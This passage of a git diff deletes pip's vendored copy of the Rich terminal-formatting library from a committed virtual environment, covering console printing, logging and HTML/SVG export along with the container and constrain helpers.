(Optional[bool], optional): Crop output to width of terminal. Defaults to True. - soft_wrap (bool, optional): Enable soft wrap mode which disables word wrapping and cropping of text or ``None`` for - Console default. Defaults to ``None``. - new_line_start (bool, False): Insert a new line at the start if the output contains more than one line. Defaults to ``False``. - """ - if not objects: - objects = (NewLine(),) - - if soft_wrap is None: - soft_wrap = self.soft_wrap - if soft_wrap: - if no_wrap is None: - no_wrap = True - if overflow is None: - overflow = "ignore" - crop = False - render_hooks = self._render_hooks[:] - with self: - renderables = self._collect_renderables( - objects, - sep, - end, - justify=justify, - emoji=emoji, - markup=markup, - highlight=highlight, - ) - for hook in render_hooks: - renderables = hook.process_renderables(renderables) - render_options = self.options.update( - justify=justify, - overflow=overflow, - width=min(width, self.width) if width is not None else NO_CHANGE, - height=height, - no_wrap=no_wrap, - markup=markup, - highlight=highlight, - ) - - new_segments: List[Segment] = [] - extend = new_segments.extend - render = self.render - if style is None: - for renderable in renderables: - extend(render(renderable, render_options)) - else: - for renderable in renderables: - extend( - Segment.apply_style( - render(renderable, render_options), self.get_style(style) - ) - ) - if new_line_start: - if ( - len("".join(segment.text for segment in new_segments).splitlines()) - > 1 - ): - new_segments.insert(0, Segment.line()) - if crop: - buffer_extend = self._buffer.extend - for line in Segment.split_and_crop_lines( - new_segments, self.width, pad=False - ): - buffer_extend(line) - else: - self._buffer.extend(new_segments) - - def print_json( - self, - json: Optional[str] = None, - *, - data: Any = None, - indent: Union[None, int, str] = 2, - highlight: bool = True, - skip_keys: bool = False, - ensure_ascii: bool = False, - check_circular: bool = True, - allow_nan: bool = True, - default: Optional[Callable[[Any], Any]] = None, - sort_keys: bool = False, - ) -> None: - """Pretty prints JSON. Output will be valid JSON. - - Args: - json (Optional[str]): A string containing JSON. - data (Any): If json is not supplied, then encode this data. - indent (Union[None, int, str], optional): Number of spaces to indent. Defaults to 2. - highlight (bool, optional): Enable highlighting of output: Defaults to True. - skip_keys (bool, optional): Skip keys not of a basic type. Defaults to False. - ensure_ascii (bool, optional): Escape all non-ascii characters. Defaults to False. - check_circular (bool, optional): Check for circular references. Defaults to True. - allow_nan (bool, optional): Allow NaN and Infinity values. Defaults to True. - default (Callable, optional): A callable that converts values that can not be encoded - in to something that can be JSON encoded. Defaults to None. - sort_keys (bool, optional): Sort dictionary keys. Defaults to False. - """ - from pip._vendor.rich.json import JSON - - if json is None: - json_renderable = JSON.from_data( - data, - indent=indent, - highlight=highlight, - skip_keys=skip_keys, - ensure_ascii=ensure_ascii, - check_circular=check_circular, - allow_nan=allow_nan, - default=default, - sort_keys=sort_keys, - ) - else: - if not isinstance(json, str): - raise TypeError( - f"json must be str. Did you mean print_json(data={json!r}) ?" - ) - json_renderable = JSON( - json, - indent=indent, - highlight=highlight, - skip_keys=skip_keys, - ensure_ascii=ensure_ascii, - check_circular=check_circular, - allow_nan=allow_nan, - default=default, - sort_keys=sort_keys, - ) - self.print(json_renderable, soft_wrap=True) - - def update_screen( - self, - renderable: RenderableType, - *, - region: Optional[Region] = None, - options: Optional[ConsoleOptions] = None, - ) -> None: - """Update the screen at a given offset. - - Args: - renderable (RenderableType): A Rich renderable. - region (Region, optional): Region of screen to update, or None for entire screen. Defaults to None. - x (int, optional): x offset. Defaults to 0. - y (int, optional): y offset. Defaults to 0. - - Raises: - errors.NoAltScreen: If the Console isn't in alt screen mode. - - """ - if not self.is_alt_screen: - raise errors.NoAltScreen("Alt screen must be enabled to call update_screen") - render_options = options or self.options - if region is None: - x = y = 0 - render_options = render_options.update_dimensions( - render_options.max_width, render_options.height or self.height - ) - else: - x, y, width, height = region - render_options = render_options.update_dimensions(width, height) - - lines = self.render_lines(renderable, options=render_options) - self.update_screen_lines(lines, x, y) - - def update_screen_lines( - self, lines: List[List[Segment]], x: int = 0, y: int = 0 - ) -> None: - """Update lines of the screen at a given offset. - - Args: - lines (List[List[Segment]]): Rendered lines (as produced by :meth:`~rich.Console.render_lines`). - x (int, optional): x offset (column no). Defaults to 0. - y (int, optional): y offset (column no). Defaults to 0. - - Raises: - errors.NoAltScreen: If the Console isn't in alt screen mode. - """ - if not self.is_alt_screen: - raise errors.NoAltScreen("Alt screen must be enabled to call update_screen") - screen_update = ScreenUpdate(lines, x, y) - segments = self.render(screen_update) - self._buffer.extend(segments) - self._check_buffer() - - def print_exception( - self, - *, - width: Optional[int] = 100, - extra_lines: int = 3, - theme: Optional[str] = None, - word_wrap: bool = False, - show_locals: bool = False, - suppress: Iterable[Union[str, ModuleType]] = (), - max_frames: int = 100, - ) -> None: - """Prints a rich render of the last exception and traceback. - - Args: - width (Optional[int], optional): Number of characters used to render code. Defaults to 100. - extra_lines (int, optional): Additional lines of code to render. Defaults to 3. - theme (str, optional): Override pygments theme used in traceback - word_wrap (bool, optional): Enable word wrapping of long lines. Defaults to False. - show_locals (bool, optional): Enable display of local variables. Defaults to False. - suppress (Iterable[Union[str, ModuleType]]): Optional sequence of modules or paths to exclude from traceback. - max_frames (int): Maximum number of frames to show in a traceback, 0 for no maximum. Defaults to 100. - """ - from .traceback import Traceback - - traceback = Traceback( - width=width, - extra_lines=extra_lines, - theme=theme, - word_wrap=word_wrap, - show_locals=show_locals, - suppress=suppress, - max_frames=max_frames, - ) - self.print(traceback) - - @staticmethod - def _caller_frame_info( - offset: int, - currentframe: Callable[[], Optional[FrameType]] = inspect.currentframe, - ) -> Tuple[str, int, Dict[str, Any]]: - """Get caller frame information. - - Args: - offset (int): the caller offset within the current frame stack. - currentframe (Callable[[], Optional[FrameType]], optional): the callable to use to - retrieve the current frame. Defaults to ``inspect.currentframe``. - - Returns: - Tuple[str, int, Dict[str, Any]]: A tuple containing the filename, the line number and - the dictionary of local variables associated with the caller frame. - - Raises: - RuntimeError: If the stack offset is invalid. - """ - # Ignore the frame of this local helper - offset += 1 - - frame = currentframe() - if frame is not None: - # Use the faster currentframe where implemented - while offset and frame is not None: - frame = frame.f_back - offset -= 1 - assert frame is not None - return frame.f_code.co_filename, frame.f_lineno, frame.f_locals - else: - # Fallback to the slower stack - frame_info = inspect.stack()[offset] - return frame_info.filename, frame_info.lineno, frame_info.frame.f_locals - - def log( - self, - *objects: Any, - sep: str = " ", - end: str = "\n", - style: Optional[Union[str, Style]] = None, - justify: Optional[JustifyMethod] = None, - emoji: Optional[bool] = None, - markup: Optional[bool] = None, - highlight: Optional[bool] = None, - log_locals: bool = False, - _stack_offset: int = 1, - ) -> None: - """Log rich content to the terminal. - - Args: - objects (positional args): Objects to log to the terminal. - sep (str, optional): String to write between print data. Defaults to " ". - end (str, optional): String to write at end of print data. Defaults to "\\\\n". - style (Union[str, Style], optional): A style to apply to output. Defaults to None. - justify (str, optional): One of "left", "right", "center", or "full". Defaults to ``None``. - emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. Defaults to None. - markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. Defaults to None. - highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. Defaults to None. - log_locals (bool, optional): Boolean to enable logging of locals where ``log()`` - was called. Defaults to False. - _stack_offset (int, optional): Offset of caller from end of call stack. Defaults to 1. - """ - if not objects: - objects = (NewLine(),) - - render_hooks = self._render_hooks[:] - - with self: - renderables = self._collect_renderables( - objects, - sep, - end, - justify=justify, - emoji=emoji, - markup=markup, - highlight=highlight, - ) - if style is not None: - renderables = [Styled(renderable, style) for renderable in renderables] - - filename, line_no, locals = self._caller_frame_info(_stack_offset) - link_path = None if filename.startswith("<") else os.path.abspath(filename) - path = filename.rpartition(os.sep)[-1] - if log_locals: - locals_map = { - key: value - for key, value in locals.items() - if not key.startswith("__") - } - renderables.append(render_scope(locals_map, title="[i]locals")) - - renderables = [ - self._log_render( - self, - renderables, - log_time=self.get_datetime(), - path=path, - line_no=line_no, - link_path=link_path, - ) - ] - for hook in render_hooks: - renderables = hook.process_renderables(renderables) - new_segments: List[Segment] = [] - extend = new_segments.extend - render = self.render - render_options = self.options - for renderable in renderables: - extend(render(renderable, render_options)) - buffer_extend = self._buffer.extend - for line in Segment.split_and_crop_lines( - new_segments, self.width, pad=False - ): - buffer_extend(line) - - def on_broken_pipe(self) -> None: - """This function is called when a `BrokenPipeError` is raised. - - This can occur when piping Textual output in Linux and macOS. - The default implementation is to exit the app, but you could implement - this method in a subclass to change the behavior. - - See https://docs.python.org/3/library/signal.html#note-on-sigpipe for details. - """ - self.quiet = True - devnull = os.open(os.devnull, os.O_WRONLY) - os.dup2(devnull, sys.stdout.fileno()) - raise SystemExit(1) - - def _check_buffer(self) -> None: - """Check if the buffer may be rendered. Render it if it can (e.g. Console.quiet is False) - Rendering is supported on Windows, Unix and Jupyter environments. For - legacy Windows consoles, the win32 API is called directly. - This method will also record what it renders if recording is enabled via Console.record. - """ - if self.quiet: - del self._buffer[:] - return - - try: - self._write_buffer() - except BrokenPipeError: - self.on_broken_pipe() - - def _write_buffer(self) -> None: - """Write the buffer to the output file.""" - - with self._lock: - if self.record and not self._buffer_index: - with self._record_buffer_lock: - self._record_buffer.extend(self._buffer[:]) - - if self._buffer_index == 0: - if self.is_jupyter: # pragma: no cover - from .jupyter import display - - display(self._buffer, self._render_buffer(self._buffer[:])) - del self._buffer[:] - else: - if WINDOWS: - use_legacy_windows_render = False - if self.legacy_windows: - fileno = get_fileno(self.file) - if fileno is not None: - use_legacy_windows_render = ( - fileno in _STD_STREAMS_OUTPUT - ) - - if use_legacy_windows_render: - from pip._vendor.rich._win32_console import LegacyWindowsTerm - from pip._vendor.rich._windows_renderer import legacy_windows_render - - buffer = self._buffer[:] - if self.no_color and self._color_system: - buffer = list(Segment.remove_color(buffer)) - - legacy_windows_render(buffer, LegacyWindowsTerm(self.file)) - else: - # Either a non-std stream on legacy Windows, or modern Windows. - text = self._render_buffer(self._buffer[:]) - # https://bugs.python.org/issue37871 - # https://github.com/python/cpython/issues/82052 - # We need to avoid writing more than 32Kb in a single write, due to the above bug - write = self.file.write - # Worse case scenario, every character is 4 bytes of utf-8 - MAX_WRITE = 32 * 1024 // 4 - try: - if len(text) <= MAX_WRITE: - write(text) - else: - batch: List[str] = [] - batch_append = batch.append - size = 0 - for line in text.splitlines(True): - if size + len(line) > MAX_WRITE and batch: - write("".join(batch)) - batch.clear() - size = 0 - batch_append(line) - size += len(line) - if batch: - write("".join(batch)) - batch.clear() - except UnicodeEncodeError as error: - error.reason = f"{error.reason}\n*** You may need to add PYTHONIOENCODING=utf-8 to your environment ***" - raise - else: - text = self._render_buffer(self._buffer[:]) - try: - self.file.write(text) - except UnicodeEncodeError as error: - error.reason = f"{error.reason}\n*** You may need to add PYTHONIOENCODING=utf-8 to your environment ***" - raise - - self.file.flush() - del self._buffer[:] - - def _render_buffer(self, buffer: Iterable[Segment]) -> str: - """Render buffered output, and clear buffer.""" - output: List[str] = [] - append = output.append - color_system = self._color_system - legacy_windows = self.legacy_windows - not_terminal = not self.is_terminal - if self.no_color and color_system: - buffer = Segment.remove_color(buffer) - for text, style, control in buffer: - if style: - append( - style.render( - text, - color_system=color_system, - legacy_windows=legacy_windows, - ) - ) - elif not (not_terminal and control): - append(text) - - rendered = "".join(output) - return rendered - - def input( - self, - prompt: TextType = "", - *, - markup: bool = True, - emoji: bool = True, - password: bool = False, - stream: Optional[TextIO] = None, - ) -> str: - """Displays a prompt and waits for input from the user. The prompt may contain color / style. - - It works in the same way as Python's builtin :func:`input` function and provides elaborate line editing and history features if Python's builtin :mod:`readline` module is previously loaded. - - Args: - prompt (Union[str, Text]): Text to render in the prompt. - markup (bool, optional): Enable console markup (requires a str prompt). Defaults to True. - emoji (bool, optional): Enable emoji (requires a str prompt). Defaults to True. - password: (bool, optional): Hide typed text. Defaults to False. - stream: (TextIO, optional): Optional file to read input from (rather than stdin). Defaults to None. - - Returns: - str: Text read from stdin. - """ - if prompt: - self.print(prompt, markup=markup, emoji=emoji, end="") - if password: - result = getpass("", stream=stream) - else: - if stream: - result = stream.readline() - else: - result = input() - return result - - def export_text(self, *, clear: bool = True, styles: bool = False) -> str: - """Generate text from console contents (requires record=True argument in constructor). - - Args: - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. - styles (bool, optional): If ``True``, ansi escape codes will be included. ``False`` for plain text. - Defaults to ``False``. - - Returns: - str: String containing console contents. - - """ - assert ( - self.record - ), "To export console contents set record=True in the constructor or instance" - - with self._record_buffer_lock: - if styles: - text = "".join( - (style.render(text) if style else text) - for text, style, _ in self._record_buffer - ) - else: - text = "".join( - segment.text - for segment in self._record_buffer - if not segment.control - ) - if clear: - del self._record_buffer[:] - return text - - def save_text(self, path: str, *, clear: bool = True, styles: bool = False) -> None: - """Generate text from console and save to a given location (requires record=True argument in constructor). - - Args: - path (str): Path to write text files. - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. - styles (bool, optional): If ``True``, ansi style codes will be included. ``False`` for plain text. - Defaults to ``False``. - - """ - text = self.export_text(clear=clear, styles=styles) - with open(path, "w", encoding="utf-8") as write_file: - write_file.write(text) - - def export_html( - self, - *, - theme: Optional[TerminalTheme] = None, - clear: bool = True, - code_format: Optional[str] = None, - inline_styles: bool = False, - ) -> str: - """Generate HTML from console contents (requires record=True argument in constructor). - - Args: - theme (TerminalTheme, optional): TerminalTheme object containing console colors. - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. - code_format (str, optional): Format string to render HTML. In addition to '{foreground}', - '{background}', and '{code}', should contain '{stylesheet}' if inline_styles is ``False``. - inline_styles (bool, optional): If ``True`` styles will be inlined in to spans, which makes files - larger but easier to cut and paste markup. If ``False``, styles will be embedded in a style tag. - Defaults to False. - - Returns: - str: String containing console contents as HTML. - """ - assert ( - self.record - ), "To export console contents set record=True in the constructor or instance" - fragments: List[str] = [] - append = fragments.append - _theme = theme or DEFAULT_TERMINAL_THEME - stylesheet = "" - - render_code_format = CONSOLE_HTML_FORMAT if code_format is None else code_format - - with self._record_buffer_lock: - if inline_styles: - for text, style, _ in Segment.filter_control( - Segment.simplify(self._record_buffer) - ): - text = escape(text) - if style: - rule = style.get_html_style(_theme) - if style.link: - text = f'{text}' - text = f'{text}' if rule else text - append(text) - else: - styles: Dict[str, int] = {} - for text, style, _ in Segment.filter_control( - Segment.simplify(self._record_buffer) - ): - text = escape(text) - if style: - rule = style.get_html_style(_theme) - style_number = styles.setdefault(rule, len(styles) + 1) - if style.link: - text = f'{text}' - else: - text = f'{text}' - append(text) - stylesheet_rules: List[str] = [] - stylesheet_append = stylesheet_rules.append - for style_rule, style_number in styles.items(): - if style_rule: - stylesheet_append(f".r{style_number} {{{style_rule}}}") - stylesheet = "\n".join(stylesheet_rules) - - rendered_code = render_code_format.format( - code="".join(fragments), - stylesheet=stylesheet, - foreground=_theme.foreground_color.hex, - background=_theme.background_color.hex, - ) - if clear: - del self._record_buffer[:] - return rendered_code - - def save_html( - self, - path: str, - *, - theme: Optional[TerminalTheme] = None, - clear: bool = True, - code_format: str = CONSOLE_HTML_FORMAT, - inline_styles: bool = False, - ) -> None: - """Generate HTML from console contents and write to a file (requires record=True argument in constructor). - - Args: - path (str): Path to write html file. - theme (TerminalTheme, optional): TerminalTheme object containing console colors. - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True``. - code_format (str, optional): Format string to render HTML. In addition to '{foreground}', - '{background}', and '{code}', should contain '{stylesheet}' if inline_styles is ``False``. - inline_styles (bool, optional): If ``True`` styles will be inlined in to spans, which makes files - larger but easier to cut and paste markup. If ``False``, styles will be embedded in a style tag. - Defaults to False. - - """ - html = self.export_html( - theme=theme, - clear=clear, - code_format=code_format, - inline_styles=inline_styles, - ) - with open(path, "w", encoding="utf-8") as write_file: - write_file.write(html) - - def export_svg( - self, - *, - title: str = "Rich", - theme: Optional[TerminalTheme] = None, - clear: bool = True, - code_format: str = CONSOLE_SVG_FORMAT, - font_aspect_ratio: float = 0.61, - unique_id: Optional[str] = None, - ) -> str: - """ - Generate an SVG from the console contents (requires record=True in Console constructor). - - Args: - title (str, optional): The title of the tab in the output image - theme (TerminalTheme, optional): The ``TerminalTheme`` object to use to style the terminal - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True`` - code_format (str, optional): Format string used to generate the SVG. Rich will inject a number of variables - into the string in order to form the final SVG output. The default template used and the variables - injected by Rich can be found by inspecting the ``console.CONSOLE_SVG_FORMAT`` variable. - font_aspect_ratio (float, optional): The width to height ratio of the font used in the ``code_format`` - string. Defaults to 0.61, which is the width to height ratio of Fira Code (the default font). - If you aren't specifying a different font inside ``code_format``, you probably don't need this. - unique_id (str, optional): unique id that is used as the prefix for various elements (CSS styles, node - ids). If not set, this defaults to a computed value based on the recorded content. - """ - - from pip._vendor.rich.cells import cell_len - - style_cache: Dict[Style, str] = {} - - def get_svg_style(style: Style) -> str: - """Convert a Style to CSS rules for SVG.""" - if style in style_cache: - return style_cache[style] - css_rules = [] - color = ( - _theme.foreground_color - if (style.color is None or style.color.is_default) - else style.color.get_truecolor(_theme) - ) - bgcolor = ( - _theme.background_color - if (style.bgcolor is None or style.bgcolor.is_default) - else style.bgcolor.get_truecolor(_theme) - ) - if style.reverse: - color, bgcolor = bgcolor, color - if style.dim: - color = blend_rgb(color, bgcolor, 0.4) - css_rules.append(f"fill: {color.hex}") - if style.bold: - css_rules.append("font-weight: bold") - if style.italic: - css_rules.append("font-style: italic;") - if style.underline: - css_rules.append("text-decoration: underline;") - if style.strike: - css_rules.append("text-decoration: line-through;") - - css = ";".join(css_rules) - style_cache[style] = css - return css - - _theme = theme or SVG_EXPORT_THEME - - width = self.width - char_height = 20 - char_width = char_height * font_aspect_ratio - line_height = char_height * 1.22 - - margin_top = 1 - margin_right = 1 - margin_bottom = 1 - margin_left = 1 - - padding_top = 40 - padding_right = 8 - padding_bottom = 8 - padding_left = 8 - - padding_width = padding_left + padding_right - padding_height = padding_top + padding_bottom - margin_width = margin_left + margin_right - margin_height = margin_top + margin_bottom - - text_backgrounds: List[str] = [] - text_group: List[str] = [] - classes: Dict[str, int] = {} - style_no = 1 - - def escape_text(text: str) -> str: - """HTML escape text and replace spaces with nbsp.""" - return escape(text).replace(" ", " ") - - def make_tag( - name: str, content: Optional[str] = None, **attribs: object - ) -> str: - """Make a tag from name, content, and attributes.""" - - def stringify(value: object) -> str: - if isinstance(value, (float)): - return format(value, "g") - return str(value) - - tag_attribs = " ".join( - f'{k.lstrip("_").replace("_", "-")}="{stringify(v)}"' - for k, v in attribs.items() - ) - return ( - f"<{name} {tag_attribs}>{content}" - if content - else f"<{name} {tag_attribs}/>" - ) - - with self._record_buffer_lock: - segments = list(Segment.filter_control(self._record_buffer)) - if clear: - self._record_buffer.clear() - - if unique_id is None: - unique_id = "terminal-" + str( - zlib.adler32( - ("".join(repr(segment) for segment in segments)).encode( - "utf-8", - "ignore", - ) - + title.encode("utf-8", "ignore") - ) - ) - y = 0 - for y, line in enumerate(Segment.split_and_crop_lines(segments, length=width)): - x = 0 - for text, style, _control in line: - style = style or Style() - rules = get_svg_style(style) - if rules not in classes: - classes[rules] = style_no - style_no += 1 - class_name = f"r{classes[rules]}" - - if style.reverse: - has_background = True - background = ( - _theme.foreground_color.hex - if style.color is None - else style.color.get_truecolor(_theme).hex - ) - else: - bgcolor = style.bgcolor - has_background = bgcolor is not None and not bgcolor.is_default - background = ( - _theme.background_color.hex - if style.bgcolor is None - else style.bgcolor.get_truecolor(_theme).hex - ) - - text_length = cell_len(text) - if has_background: - text_backgrounds.append( - make_tag( - "rect", - fill=background, - x=x * char_width, - y=y * line_height + 1.5, - width=char_width * text_length, - height=line_height + 0.25, - shape_rendering="crispEdges", - ) - ) - - if text != " " * len(text): - text_group.append( - make_tag( - "text", - escape_text(text), - _class=f"{unique_id}-{class_name}", - x=x * char_width, - y=y * line_height + char_height, - textLength=char_width * len(text), - clip_path=f"url(#{unique_id}-line-{y})", - ) - ) - x += cell_len(text) - - line_offsets = [line_no * line_height + 1.5 for line_no in range(y)] - lines = "\n".join( - f""" - {make_tag("rect", x=0, y=offset, width=char_width * width, height=line_height + 0.25)} - """ - for line_no, offset in enumerate(line_offsets) - ) - - styles = "\n".join( - f".{unique_id}-r{rule_no} {{ {css} }}" for css, rule_no in classes.items() - ) - backgrounds = "".join(text_backgrounds) - matrix = "".join(text_group) - - terminal_width = ceil(width * char_width + padding_width) - terminal_height = (y + 1) * line_height + padding_height - chrome = make_tag( - "rect", - fill=_theme.background_color.hex, - stroke="rgba(255,255,255,0.35)", - stroke_width="1", - x=margin_left, - y=margin_top, - width=terminal_width, - height=terminal_height, - rx=8, - ) - - title_color = _theme.foreground_color.hex - if title: - chrome += make_tag( - "text", - escape_text(title), - _class=f"{unique_id}-title", - fill=title_color, - text_anchor="middle", - x=terminal_width // 2, - y=margin_top + char_height + 6, - ) - chrome += f""" - - - - - - """ - - svg = code_format.format( - unique_id=unique_id, - char_width=char_width, - char_height=char_height, - line_height=line_height, - terminal_width=char_width * width - 1, - terminal_height=(y + 1) * line_height - 1, - width=terminal_width + margin_width, - height=terminal_height + margin_height, - terminal_x=margin_left + padding_left, - terminal_y=margin_top + padding_top, - styles=styles, - chrome=chrome, - backgrounds=backgrounds, - matrix=matrix, - lines=lines, - ) - return svg - - def save_svg( - self, - path: str, - *, - title: str = "Rich", - theme: Optional[TerminalTheme] = None, - clear: bool = True, - code_format: str = CONSOLE_SVG_FORMAT, - font_aspect_ratio: float = 0.61, - unique_id: Optional[str] = None, - ) -> None: - """Generate an SVG file from the console contents (requires record=True in Console constructor). - - Args: - path (str): The path to write the SVG to. - title (str, optional): The title of the tab in the output image - theme (TerminalTheme, optional): The ``TerminalTheme`` object to use to style the terminal - clear (bool, optional): Clear record buffer after exporting. Defaults to ``True`` - code_format (str, optional): Format string used to generate the SVG. Rich will inject a number of variables - into the string in order to form the final SVG output. The default template used and the variables - injected by Rich can be found by inspecting the ``console.CONSOLE_SVG_FORMAT`` variable. - font_aspect_ratio (float, optional): The width to height ratio of the font used in the ``code_format`` - string. Defaults to 0.61, which is the width to height ratio of Fira Code (the default font). - If you aren't specifying a different font inside ``code_format``, you probably don't need this. - unique_id (str, optional): unique id that is used as the prefix for various elements (CSS styles, node - ids). If not set, this defaults to a computed value based on the recorded content. - """ - svg = self.export_svg( - title=title, - theme=theme, - clear=clear, - code_format=code_format, - font_aspect_ratio=font_aspect_ratio, - unique_id=unique_id, - ) - with open(path, "w", encoding="utf-8") as write_file: - write_file.write(svg) - - -def _svg_hash(svg_main_code: str) -> str: - """Returns a unique hash for the given SVG main code. - - Args: - svg_main_code (str): The content we're going to inject in the SVG envelope. - - Returns: - str: a hash of the given content - """ - return str(zlib.adler32(svg_main_code.encode())) - - -if __name__ == "__main__": # pragma: no cover - console = Console(record=True) - - console.log( - "JSONRPC [i]request[/i]", - 5, - 1.3, - True, - False, - None, - { - "jsonrpc": "2.0", - "method": "subtract", - "params": {"minuend": 42, "subtrahend": 23}, - "id": 3, - }, - ) - - console.log("Hello, World!", "{'a': 1}", repr(console)) - - console.print( - { - "name": None, - "empty": [], - "quiz": { - "sport": { - "answered": True, - "q1": { - "question": "Which one is correct team name in NBA?", - "options": [ - "New York Bulls", - "Los Angeles Kings", - "Golden State Warriors", - "Huston Rocket", - ], - "answer": "Huston Rocket", - }, - }, - "maths": { - "answered": False, - "q1": { - "question": "5 + 7 = ?", - "options": [10, 11, 12, 13], - "answer": 12, - }, - "q2": { - "question": "12 - 8 = ?", - "options": [1, 2, 3, 4], - "answer": 4, - }, - }, - }, - } - ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/constrain.py b/venv/Lib/site-packages/pip/_vendor/rich/constrain.py deleted file mode 100644 index 65fdf56342e8b5b8e181914881025231684e1871..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/constrain.py +++ /dev/null @@ -1,37 +0,0 @@ -from typing import Optional, TYPE_CHECKING - -from .jupyter import JupyterMixin -from .measure import Measurement - -if TYPE_CHECKING: - from .console import Console, ConsoleOptions, RenderableType, RenderResult - - -class Constrain(JupyterMixin): - """Constrain the width of a renderable to a given number of characters. - - Args: - renderable (RenderableType): A renderable object. - width (int, optional): The maximum width (in characters) to render. Defaults to 80. - """ - - def __init__(self, renderable: "RenderableType", width: Optional[int] = 80) -> None: - self.renderable = renderable - self.width = width - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - if self.width is None: - yield self.renderable - else: - child_options = options.update_width(min(self.width, options.max_width)) - yield from console.render(self.renderable, child_options) - - def __rich_measure__( - self, console: "Console", options: "ConsoleOptions" - ) -> "Measurement": - if self.width is not None: - options = options.update_width(self.width) - measurement = Measurement.get(console, options, self.renderable) - return measurement diff --git a/venv/Lib/site-packages/pip/_vendor/rich/containers.py b/venv/Lib/site-packages/pip/_vendor/rich/containers.py deleted file mode 100644 index 901ff8ba6ea0836481a015ed5c627889cc416c03..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/containers.py +++ /dev/null @@ -1,167 +0,0 @@ -from itertools import zip_longest -from typing import ( - TYPE_CHECKING, - Iterable, - Iterator, - List, - Optional, - TypeVar, - Union, - overload, -) - -if TYPE_CHECKING: - from .console import ( - Console, - ConsoleOptions, - JustifyMethod, - OverflowMethod, - RenderResult, - RenderableType, - ) - from .text import Text - -from .cells import cell_len -from .measure import Measurement - -T = TypeVar("T") - - -class Renderables: - """A list subclass which renders its contents to the console.""" - - def __init__( - self, renderables: Optional[Iterable["RenderableType"]] = None - ) -> None: - self._renderables: List["RenderableType"] = ( - list(renderables) if renderables is not None else [] - ) - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - """Console render method to insert line-breaks.""" - yield from self._renderables - - def __rich_measure__( - self, console: "Console", options: "ConsoleOptions" - ) -> "Measurement": - dimensions = [ - Measurement.get(console, options, renderable) - for renderable in self._renderables - ] - if not dimensions: - return Measurement(1, 1) - _min = max(dimension.minimum for dimension in dimensions) - _max = max(dimension.maximum for dimension in dimensions) - return Measurement(_min, _max) - - def append(self, renderable: "RenderableType") -> None: - self._renderables.append(renderable) - - def __iter__(self) -> Iterable["RenderableType"]: - return iter(self._renderables) - - -class Lines: - """A list subclass which can render to the console.""" - - def __init__(self, lines: Iterable["Text"] = ()) -> None: - self._lines: List["Text"] = list(lines) - - def __repr__(self) -> str: - return f"Lines({self._lines!r})" - - def __iter__(self) -> Iterator["Text"]: - return iter(self._lines) - - @overload - def __getitem__(self, index: int) -> "Text": - ... - - @overload - def __getitem__(self, index: slice) -> List["Text"]: - ... - - def __getitem__(self, index: Union[slice, int]) -> Union["Text", List["Text"]]: - return self._lines[index] - - def __setitem__(self, index: int, value: "Text") -> "Lines": - self._lines[index] = value - return self - - def __len__(self) -> int: - return self._lines.__len__() - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - """Console render method to insert line-breaks.""" - yield from self._lines - - def append(self, line: "Text") -> None: - self._lines.append(line) - - def extend(self, lines: Iterable["Text"]) -> None: - self._lines.extend(lines) - - def pop(self, index: int = -1) -> "Text": - return self._lines.pop(index) - - def justify( - self, - console: "Console", - width: int, - justify: "JustifyMethod" = "left", - overflow: "OverflowMethod" = "fold", - ) -> None: - """Justify and overflow text to a given width. - - Args: - console (Console): Console instance. - width (int): Number of cells available per line. - justify (str, optional): Default justify method for text: "left", "center", "full" or "right". Defaults to "left". - overflow (str, optional): Default overflow for text: "crop", "fold", or "ellipsis". Defaults to "fold". - - """ - from .text import Text - - if justify == "left": - for line in self._lines: - line.truncate(width, overflow=overflow, pad=True) - elif justify == "center": - for line in self._lines: - line.rstrip() - line.truncate(width, overflow=overflow) - line.pad_left((width - cell_len(line.plain)) // 2) - line.pad_right(width - cell_len(line.plain)) - elif justify == "right": - for line in self._lines: - line.rstrip() - line.truncate(width, overflow=overflow) - line.pad_left(width - cell_len(line.plain)) - elif justify == "full": - for line_index, line in enumerate(self._lines): - if line_index == len(self._lines) - 1: - break - words = line.split(" ") - words_size = sum(cell_len(word.plain) for word in words) - num_spaces = len(words) - 1 - spaces = [1 for _ in range(num_spaces)] - index = 0 - if spaces: - while words_size + num_spaces < width: - spaces[len(spaces) - index - 1] += 1 - num_spaces += 1 - index = (index + 1) % len(spaces) - tokens: List[Text] = [] - for index, (word, next_word) in enumerate( - zip_longest(words, words[1:]) - ): - tokens.append(word) - if index < len(spaces): - style = word.get_style_at_offset(console, -1) - next_style = next_word.get_style_at_offset(console, 0) - space_style = style if style == next_style else line.style - tokens.append(Text(" " * spaces[index], style=space_style)) - self[line_index] = Text("").join(tokens) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/control.py b/venv/Lib/site-packages/pip/_vendor/rich/control.py deleted file mode 100644 index 84963e9dd61f3ae53945ca26b840f26e6d81af5d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/control.py +++ /dev/null @@ -1,219 +0,0 @@ -import time -from typing import TYPE_CHECKING, Callable, Dict, Iterable, List, Union, Final - -from .segment import ControlCode, ControlType, Segment - -if TYPE_CHECKING: - from .console import Console, ConsoleOptions, RenderResult - -STRIP_CONTROL_CODES: Final = [ - 7, # Bell - 8, # Backspace - 11, # Vertical tab - 12, # Form feed - 13, # Carriage return -] -_CONTROL_STRIP_TRANSLATE: Final = { - _codepoint: None for _codepoint in STRIP_CONTROL_CODES -} - -CONTROL_ESCAPE: Final = { - 7: "\\a", - 8: "\\b", - 11: "\\v", - 12: "\\f", - 13: "\\r", -} - -CONTROL_CODES_FORMAT: Dict[int, Callable[..., str]] = { - ControlType.BELL: lambda: "\x07", - ControlType.CARRIAGE_RETURN: lambda: "\r", - ControlType.HOME: lambda: "\x1b[H", - ControlType.CLEAR: lambda: "\x1b[2J", - 